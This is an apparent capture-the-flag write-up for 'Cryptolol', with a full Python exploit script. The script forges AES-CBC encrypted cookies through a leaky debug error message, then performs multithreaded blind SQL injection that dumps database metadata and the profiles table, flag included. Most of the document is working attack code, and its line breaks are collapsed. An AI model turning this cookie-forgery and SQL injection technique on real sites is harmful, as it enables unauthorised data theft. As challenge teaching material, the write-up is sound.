# Cryptolol
## Description
A simple website display a profile page corresponding to the *USERNAME* cookie.This cookie contains the username encrypted with a secret key using AES, a dummy padding and the CBC encrypton mode (the vulnerability is not a padding oracle).
When an error is encountered during the decryption of our cookie, the decrypted value is displayed in a "debug mode" error message.Using this the challenger must discover the padding used and find a way to produce encrypted cookies containing arbitrary values.
Indeed, the *USERNAME* cookie can be used in order to exploit a SQLi protected by a *WAF*.
## Solution
In order to exploit this challenge, you have to :
* Retrieve the padding used (see *padding_discovery()* in *exploit.py*);* Use the error messages in order to encrypt arbitrary values;* Exploit the SQLi using encrypted payloads in the *USERNAME* cookie (beware of the WAF).
## exploit.py
```#!/usr/bin/python2# -*- coding:utf-8 -*-
import requestsimport base64import reimport binasciiimport threadingimport timeimport sys
from Queue import Queuefrom HTMLParser import HTMLParser
TARGET = None
COOKIE_NAME = 'USERNAME'
ERROR_REGEX = 'A problem with the user b(?:'|")(.+)(?:'|") has been encountered !'
BLOCK_SIZE = 16PADDING_CHAR = ' '
SQLI_PAYLOAD = 'Smelly tooth Cromwell\' AND (%s)#'MAX_CHAR_LENGTH = 2000
NB_THREADS = 4
RESULTS = dict()COUNT = 0
queue = Queue()
def explode_b64_ciphertext(b64_ciphertext):    '''        Take a base64 encoded ciphertext and return the blocks to work with.    '''    uncoded_ciphertext = base64.b64decode(b64_ciphertext)
    iv = uncoded_ciphertext[:BLOCK_SIZE]    ciphertexts = []
    for i in range(len(uncoded_ciphertext)//BLOCK_SIZE)[1:]:        offset = i*BLOCK_SIZE        ciphertexts += [uncoded_ciphertext[offset:offset+BLOCK_SIZE]]
    return (iv, ciphertexts)
def send_request(cookie_value):    '''        Send a request and return the response.    '''    global COUNT    COUNT += 1
    cookies = {COOKIE_NAME: cookie_value}
    r = requests.get(TARGET, cookies=cookies)
    return r.text
def test_cookie_value(cookie_value, tag):    '''        Test a cookie value and return True if the tag TAG is in the response or False if not.        If an error message is displayed, we return the username value displayed on screen.    '''    response = send_request(cookie_value)
    if tag in response:        return True
    m = re.search(ERROR_REGEX, response)    if m != None:        # Applying regex        result = m.group(1)        # Unescape HTML entities : '&' => '&'        result = HTMLParser().unescape(result).encode('ascii')        # Unescape the hex values : '\\xf1' => '\xf1'        result = result.decode('string_escape')        # Adding padding if the last bytes are escape characters        result = add_padding(result)        return result
    return False
def get_default_cookie():    '''        Retrieve the default cookie in order to check the padding.    '''    global COUNT    COUNT += 1
    r = requests.get(TARGET)
    return r.cookies[COOKIE_NAME]
def padding_discovery():    '''        Using a trick in order to obtain the padding used.        Modifying the last byte of the Cn-1 block, is a way to display the padding on the error message from the server.
        This function is just here as a write-up, in order to explain how we discovered the padding used.    '''    print '### Using a trick in order to obtain the padding used.'
    (iv, ciphertexts) = explode_b64_ciphertext(get_default_cookie())
    # Modify the last byte of the Cn-1 block in order to obtain the padding.    Cn_minus_1 = ciphertexts[-2]    arbitrary_byte = b'A'
    tmp = Cn_minus_1[:-1] + arbitrary_byte    ciphertexts[-2] = tmp
    # Test the Ciphertext with the modified Cn-1 block.    to_test = iv    for Cn in ciphertexts:        to_test += Cn
    print 'Cookie used to display the padding : %s' % base64.b64encode(to_test)    result = test_cookie_value(base64.b64encode(to_test), 'DEADBEEF')
    # Printing the last plaintext bloc (containing the padding)    print 'Pn : %s' % result[-BLOCK_SIZE:-1]    Pn = ''    for c in result[-BLOCK_SIZE:-1]:        Pn += '%s ' % hex(ord(c))    # Last byte of Pn = Cn-1 ^ P'n ^ arbitrary_byte(C'n-1)    Pn += hex(ord(Cn_minus_1[-1]) ^ ord(result[-1]) ^ ord(arbitrary_byte))
    print '   : %s' % Pn    print 'As we can see, the padding is very simple. Indeed, it consists only of spaces (0x20).'    sys.stdout.flush()
    '''    Pn : mwell                 : 0x6d 0x77 0x65 0x6c 0x6c 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x20
    As we can see, the padding is very simple. Indeed, it consists only of space (0x20).    '''
def add_padding(string):    '''         Take a string and return a custom padding (see padding_discovery())        WARNING : We do not add a padding block when len(string) % BLOCK_SIZE == 0    '''    padding_size = (BLOCK_SIZE - (len(string)%BLOCK_SIZE)) % BLOCK_SIZE
    return "%s%s" % (string,PADDING_CHAR*padding_size)
def get_block_int_values(block):    '''    Take a ciphered block and return its intermediate values.    '''    iv = b'\x00'*BLOCK_SIZE    return test_cookie_value(base64.b64encode(iv+block), 'DEADBEEF')
def encrypt_block(Ci, Pi):    '''    Take a block (Ci) and the desired plaintext (Pi).    Get the intermediate values and return Cn-1.    ''' 
    intermediate_values = get_block_int_values(Ci)
    result = ''    for i in range(BLOCK_SIZE):        result += chr(ord(intermediate_values[i]) ^ ord(Pi[i]))
    return result
def encrypt_string(string, display):    '''    Take a string, add padding and encrypt it.    '''    # Add padding    padded_string = add_padding(string)    nb_blocks = len(padded_string)/BLOCK_SIZE
    # Calculate intermediate values for Pn..P0    Ci = 'A'*BLOCK_SIZE    encrypted_string = "%s" % Ci    for i in range(nb_blocks)[::-1]:        Pi = padded_string[i*BLOCK_SIZE:(i+1)*BLOCK_SIZE]        Ci = encrypt_block(Ci, Pi)        encrypted_string = "%s%s" % (Ci, encrypted_string)
    encrypted_string = base64.b64encode(encrypted_string)    if display:        print 'Plaintext string : %s' % string        print 'Encrypted string : %s' % encrypted_string
    return encrypted_string
def sqli_dump_string(tag, payload, display):    '''        Main function used to exploit the SQLi.    '''    global RESULTS
    result = ''
    dump_string_payload = 'SELECT MID(BIN (ORD (MID((%s) FROM %%s FOR 1))) FROM %%%%s FOR 1)=%%%%s' % payload    string_length_payload = '(SELECT CHAR_LENGTH((%s)))=%%s' % payload    byte_length_payload = '(SELECT CHAR_LENGTH(BIN (ORD (MID((%s) FROM %%s FOR 1)))))=%%%%s' % payload
    string_length = sqli_get_length(string_length_payload, display)    if display :        print 'String length = %s' % string_length
    # For each char of our string    for i in range(string_length+1)[1:]:        result += sqli_dump_byte(dump_string_payload % i, byte_length_payload % i, display)
    print '%s = %s' % (tag, result)    sys.stdout.flush()    RESULTS[tag] = result
def sqli_dump_byte(dump_string_payload, byte_length_payload, display):    '''        Function used to retrieve a byte.    '''    # Retrieving the length of the binary value of our byte => CHAR_LENGTH(BIN(...))    byte_length = sqli_get_length(byte_length_payload, display)    if display:        print 'Byte length = %s' % byte_length
    # Retrieving the value of each bit of our byte.    result = ''    for i in range(byte_length+1)[1:]:        if test_cookie_value(encrypt_string(SQLI_PAYLOAD % (dump_string_payload % (i, 1)), display), 'Caribbean pirate') == True:            result += '1'        else:            result += '0'
    return chr(int('0b%s' % result, 2))
def sqli_get_length(payload, display):    '''        Naive way to get the char length of a string or a byte (depending of the payload).        Simple but could be hugely improved (too much requests).    '''    for i in range(MAX_CHAR_LENGTH):        if test_cookie_value(encrypt_string(SQLI_PAYLOAD % (payload % i), display), 'Caribbean pirate') == True:            return i
    return None
########################## Multi-threading ##########################
class AttackThread(threading.Thread):    def __init__(self):        threading.Thread.__init__(self)        pass
    def run(self):        while not queue.empty():            tag,payload,display = queue.get()            sqli_dump_string(tag, payload, display)
            queue.task_done()
def main():    global TARGET
    if len(sys.argv) != 3 and len(sys.argv) != 4:        print "Usage : %s <target_ip> <port>" % sys.argv[0]        exit(1)
    TARGET = "http://%s:%s/" % (sys.argv[1], sys.argv[2])
    start_time = time.time()     padding_discovery()
    print '#'*42
    # Discovering the SQLi (boolean based)    if test_cookie_value(encrypt_string(SQLI_PAYLOAD % '1=1', True), 'Caribbean pirate') == True:        print True    else:        print False    print '#'*9    if test_cookie_value(encrypt_string(SQLI_PAYLOAD % '1=2', True), 'Caribbean pirate') == True:        print True    else:        print False
    print '#'*42    sys.stdout.flush()
    # @@version, user(), database()    queue.put(('@@version', '@@version', False))    queue.put(('user()', 'user()', False))    queue.put(('database()', 'database()', False))
    # Tables    queue.put(('tables', 'SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=\'website\'', False))
    # Columns (of the table 'profile')    queue.put(('columns', 'SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name=\'profiles\' AND table_schema=\'website\'', False))
    # Dump of the table 'profile'    for column in ['username','class','avatar','flag']:        queue.put(('profile_%s' % column, 'SELECT group_concat(%s) FROM profiles' % column, False))
    # MT (multithreading)    for thr in xrange(0, NB_THREADS):        print "Initializing thread %d" % thr        sys.stdout.flush()        ragnarok = AttackThread()        ragnarok.start()
    queue.join()
    print '#'*42
    print 'FLAG = %s' % RESULTS['profile_flag']    sys.stdout.flush()
    print '#'*42
    print 'Time elapsed : %f' % (time.time()-start_time)    print 'Number of requests made : %s' % COUNT    sys.stdout.flush()
if __name__=='__main__':    main()
```